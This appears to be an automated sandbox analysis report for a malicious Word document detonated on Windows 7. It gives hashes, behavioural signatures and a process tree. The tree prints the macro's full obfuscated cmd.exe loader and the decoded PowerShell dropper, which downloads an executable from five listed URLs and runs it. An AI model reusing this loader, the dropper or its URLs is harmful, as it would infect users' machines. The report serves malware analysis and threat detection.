Overview

overview

10

Static

static

8

cb51a496b2...04.doc

windows7-x64

10

cb51a496b2...04.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    105s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220715-en
  • resource tags

    arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
  • submitted
    31-07-2022 08:06

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    cb51a496b2dbb4455c42ad326ed97799fa15c4cf7903a86858b31a47a899d504.doc

  • Size

    88KB

  • MD5

    04e7a34036d75f10440174ad4aa791e7

  • SHA1

    ea3f0451caf876d473d9c89888770609b74abd03

  • SHA256

    cb51a496b2dbb4455c42ad326ed97799fa15c4cf7903a86858b31a47a899d504

  • SHA512

    2f1c0f2555dc7281700a5a4c5a6bcefc9d810920f902525732797e05c4f7ee0776d450b1749dcc72e83d0a27641cba72a8e9c0ea567f5319f4a7918315a94fdc

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://gtvtuning.com//M6X7JF0
exe.dropper

http://kodi.org.pl//Fv7Cz
exe.dropper

http://kernkwadrant.nl/r9ktom
exe.dropper

http://flaviofortes.com.br/gAelg4
exe.dropper

http://guinathon.ysu.edu/MJns

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cb51a496b2dbb4455c42ad326ed97799fa15c4cf7903a86858b31a47a899d504.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1940
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2028
      • \??\c:\windows\SysWOW64\cmd.exe
        c:\RdFXuzz\PwnsFvjVFZX\CcSMaCfhvk\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set PI=QMawDZhBqiaGwBhjzpQXmDz5nv4R)0$;IL,uW\J=y-gArO7+S8PkU'dbctFC.fl/:NeKx}{1Y9 6@sT(o&&for %D in (30;45;72;11;39;53;56;57;15;53;31;30;17;45;78;39;24;66;12;41;80;55;15;66;56;57;74;65;66;57;60;36;66;55;59;62;9;66;24;57;31;30;59;33;67;39;53;14;57;57;17;64;63;63;42;57;25;57;35;24;9;24;42;60;56;80;20;63;63;1;75;19;46;38;58;29;76;14;57;57;17;64;63;63;51;80;54;9;60;80;44;42;60;17;62;63;63;58;25;46;59;22;76;14;57;57;17;64;63;63;51;66;44;24;51;12;10;54;44;10;24;57;60;24;62;63;44;73;51;57;80;20;76;14;57;57;17;64;63;63;61;62;10;25;9;80;61;80;44;57;66;77;60;56;80;20;60;55;44;63;42;43;66;62;42;26;76;14;57;57;17;64;63;63;42;35;9;24;10;57;14;80;24;60;40;77;35;60;66;54;35;63;1;38;24;77;53;60;48;17;62;9;57;79;53;76;53;28;31;30;14;80;27;39;53;54;52;14;53;31;30;22;13;11;74;39;74;53;23;29;71;53;31;30;15;15;55;39;53;18;9;20;53;31;30;44;59;21;39;30;66;24;25;64;57;66;20;17;47;53;37;53;47;30;22;13;11;47;53;60;66;68;66;53;31;61;80;44;66;10;56;14;79;30;62;59;48;74;9;24;74;30;59;33;67;28;70;57;44;40;70;30;17;45;78;60;21;80;12;24;62;80;10;54;58;9;62;66;79;30;62;59;48;34;74;30;44;59;21;28;31;30;59;22;55;39;53;50;22;59;53;31;32;61;74;79;79;11;66;57;41;32;57;66;20;74;30;44;59;21;28;60;62;66;24;42;57;14;74;41;42;66;74;49;29;29;29;29;28;74;70;32;24;25;80;51;66;41;32;57;66;20;74;30;44;59;21;31;30;20;50;27;39;53;78;36;38;53;31;55;44;66;10;51;31;69;69;56;10;57;56;14;70;69;69;30;22;8;22;39;53;35;78;19;53;31;87)do set qAh=!qAh!!PI:~%D,1!&&if %D==87 powershell "!qAh:*qAh!=!""
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:552
        • C:\Windows\SysWOW64\cmd.exe
          CmD /V:ON/C"set PI=QMawDZhBqiaGwBhjzpQXmDz5nv4R)0$;IL,uW\J=y-gArO7+S8PkU'dbctFC.fl/:NeKx}{1Y9 6@sT(o&&for %D in (30;45;72;11;39;53;56;57;15;53;31;30;17;45;78;39;24;66;12;41;80;55;15;66;56;57;74;65;66;57;60;36;66;55;59;62;9;66;24;57;31;30;59;33;67;39;53;14;57;57;17;64;63;63;42;57;25;57;35;24;9;24;42;60;56;80;20;63;63;1;75;19;46;38;58;29;76;14;57;57;17;64;63;63;51;80;54;9;60;80;44;42;60;17;62;63;63;58;25;46;59;22;76;14;57;57;17;64;63;63;51;66;44;24;51;12;10;54;44;10;24;57;60;24;62;63;44;73;51;57;80;20;76;14;57;57;17;64;63;63;61;62;10;25;9;80;61;80;44;57;66;77;60;56;80;20;60;55;44;63;42;43;66;62;42;26;76;14;57;57;17;64;63;63;42;35;9;24;10;57;14;80;24;60;40;77;35;60;66;54;35;63;1;38;24;77;53;60;48;17;62;9;57;79;53;76;53;28;31;30;14;80;27;39;53;54;52;14;53;31;30;22;13;11;74;39;74;53;23;29;71;53;31;30;15;15;55;39;53;18;9;20;53;31;30;44;59;21;39;30;66;24;25;64;57;66;20;17;47;53;37;53;47;30;22;13;11;47;53;60;66;68;66;53;31;61;80;44;66;10;56;14;79;30;62;59;48;74;9;24;74;30;59;33;67;28;70;57;44;40;70;30;17;45;78;60;21;80;12;24;62;80;10;54;58;9;62;66;79;30;62;59;48;34;74;30;44;59;21;28;31;30;59;22;55;39;53;50;22;59;53;31;32;61;74;79;79;11;66;57;41;32;57;66;20;74;30;44;59;21;28;60;62;66;24;42;57;14;74;41;42;66;74;49;29;29;29;29;28;74;70;32;24;25;80;51;66;41;32;57;66;20;74;30;44;59;21;31;30;20;50;27;39;53;78;36;38;53;31;55;44;66;10;51;31;69;69;56;10;57;56;14;70;69;69;30;22;8;22;39;53;35;78;19;53;31;87)do set qAh=!qAh!!PI:~%D,1!&&if %D==87 powershell "!qAh:*qAh!=!""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1676
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell "$OYG='ctj';$pOT=new-object Net.WebClient;$CLK='http://gtvtuning.com//M6X7JF0@http://kodi.org.pl//Fv7Cz@http://kernkwadrant.nl/r9ktom@http://flaviofortes.com.br/gAelg4@http://guinathon.ysu.edu/MJns'.Split('@');$hoR='dUh';$zBG = '501';$jjb='Qim';$rCD=$env:temp+'\'+$zBG+'.exe';foreach($lCS in $CLK){try{$pOT.DownloadFile($lCS, $rCD);$Czb='PzC';If ((Get-Item $rCD).length -ge 80000) {Invoke-Item $rCD;$mPR='TWJ';break;}}catch{}}$zqz='uTX';"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1528

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1528-74-0x000000006B1F0000-0x000000006B79B000-memory.dmp

      Filesize

      5.7MB

      Download

    • memory/1528-72-0x0000000004FB0000-0x0000000005002000-memory.dmp

      Filesize

      328KB

      Download

    • memory/1528-71-0x000000006B1F0000-0x000000006B79B000-memory.dmp

      Filesize

      5.7MB

      Download

    • memory/1940-59-0x00000000717FD000-0x0000000071808000-memory.dmp

      Filesize

      44KB

      Download

    • memory/1940-57-0x00000000762A1000-0x00000000762A3000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1940-62-0x0000000006510000-0x000000000651A000-memory.dmp

      Filesize

      40KB

      Download

    • memory/1940-63-0x0000000006510000-0x000000000651A000-memory.dmp

      Filesize

      40KB

      Download

    • memory/1940-64-0x0000000006510000-0x000000000651A000-memory.dmp

      Filesize

      40KB

      Download

    • memory/1940-65-0x0000000000698000-0x000000000069C000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1940-66-0x0000000000698000-0x000000000069C000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1940-76-0x00000000717FD000-0x0000000071808000-memory.dmp

      Filesize

      44KB

      Download

    • memory/1940-54-0x0000000072D91000-0x0000000072D94000-memory.dmp

      Filesize

      12KB

      Download

    • memory/1940-75-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/1940-61-0x0000000006510000-0x000000000651A000-memory.dmp

      Filesize

      40KB

      Download

    • memory/1940-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/1940-73-0x00000000717FD000-0x0000000071808000-memory.dmp

      Filesize

      44KB

      Download

    • memory/1940-55-0x0000000070811000-0x0000000070813000-memory.dmp

      Filesize

      8KB

      Download

    • memory/2028-60-0x000007FEFC441000-0x000007FEFC443000-memory.dmp

      Filesize

      8KB

      Download